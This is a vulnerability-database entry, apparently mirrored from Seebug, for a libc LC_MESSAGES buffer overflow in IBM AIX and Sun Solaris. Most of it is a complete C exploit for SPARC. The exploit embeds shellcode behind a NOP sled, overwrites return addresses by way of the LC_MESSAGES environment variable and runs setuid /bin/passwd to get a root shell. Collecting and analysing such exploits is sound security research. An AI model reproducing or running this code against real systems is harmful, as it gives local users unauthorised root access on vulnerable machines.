Lucene search
K

IBM AIX <= 4.2.1, Sun Solaris <= 7.0 LC_MESSAGES libc Buffer Overflow Vulnerability (5)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

IBM AIX & Sun Solaris Buffer Overflow Vul

Code

                                                source: http://www.securityfocus.com/bid/268/info
    
A buffer overflow in libc&#39;s handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM&#39;s AIX and Sun Microsystem&#39;s Solaris. This vulnerability allows local users to gain root privileges.

/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN ([email protected])
  ============================================================
*/
#define EV          &#34;LC_MESSAGES=&#34;
#define ADJUST      0
#define OFFSET      5392
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
&#34;\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e&#34;
&#34;\x2b\x0b\xda\xdc\xae\x15\x63\x68&#34;
&#34;\x90\x0b\x80\x0e\x92\x03\xa0\x0c&#34;
&#34;\x94\x10\x20\x10\x94\x22\xa0\x10&#34;
&#34;\x9c\x03\xa0\x14&#34;
&#34;\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc&#34;
&#34;\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01&#34;
&#34;\x91\xd0\x20\x08&#34;
;

unsigned long get_sp(void)
{
__asm__(&#34;mov %sp,%i0 \n&#34;);
}

int i;
unsigned int ret_adr;

main()
{
    putenv(&#34;LANG=&#34;);
    memset(x,&#39;x&#39;,70000);

    for (i = 0; i &#60; ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i &#60; 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP &#62;&#62; 8 ) &0xff;
        x[i+1]=(NOP &#62;&#62; 16 ) &0xff;
        x[i+0]=(NOP &#62;&#62; 24 ) &0xff;
    }
    for (i=0;i&#60;strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf(&#34;jumping address : %lx\n&#34;,ret_adr);
    if ((ret_adr & 0xff) ==0 ){   
        ret_adr -=16;
        printf(&#34;New jumping address : %lx\n&#34;,ret_adr);
    }
    for (i = ADJUST+RETS; i &#60; RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr &#62;&#62; 8 ) &0xff;
        x[i+1]=(ret_adr &#62;&#62; 16 ) &0xff;
        x[i+0]=(ret_adr &#62;&#62; 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl(&#34;/bin/passwd&#34;,&#34;passwd&#34;,(char *)0);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11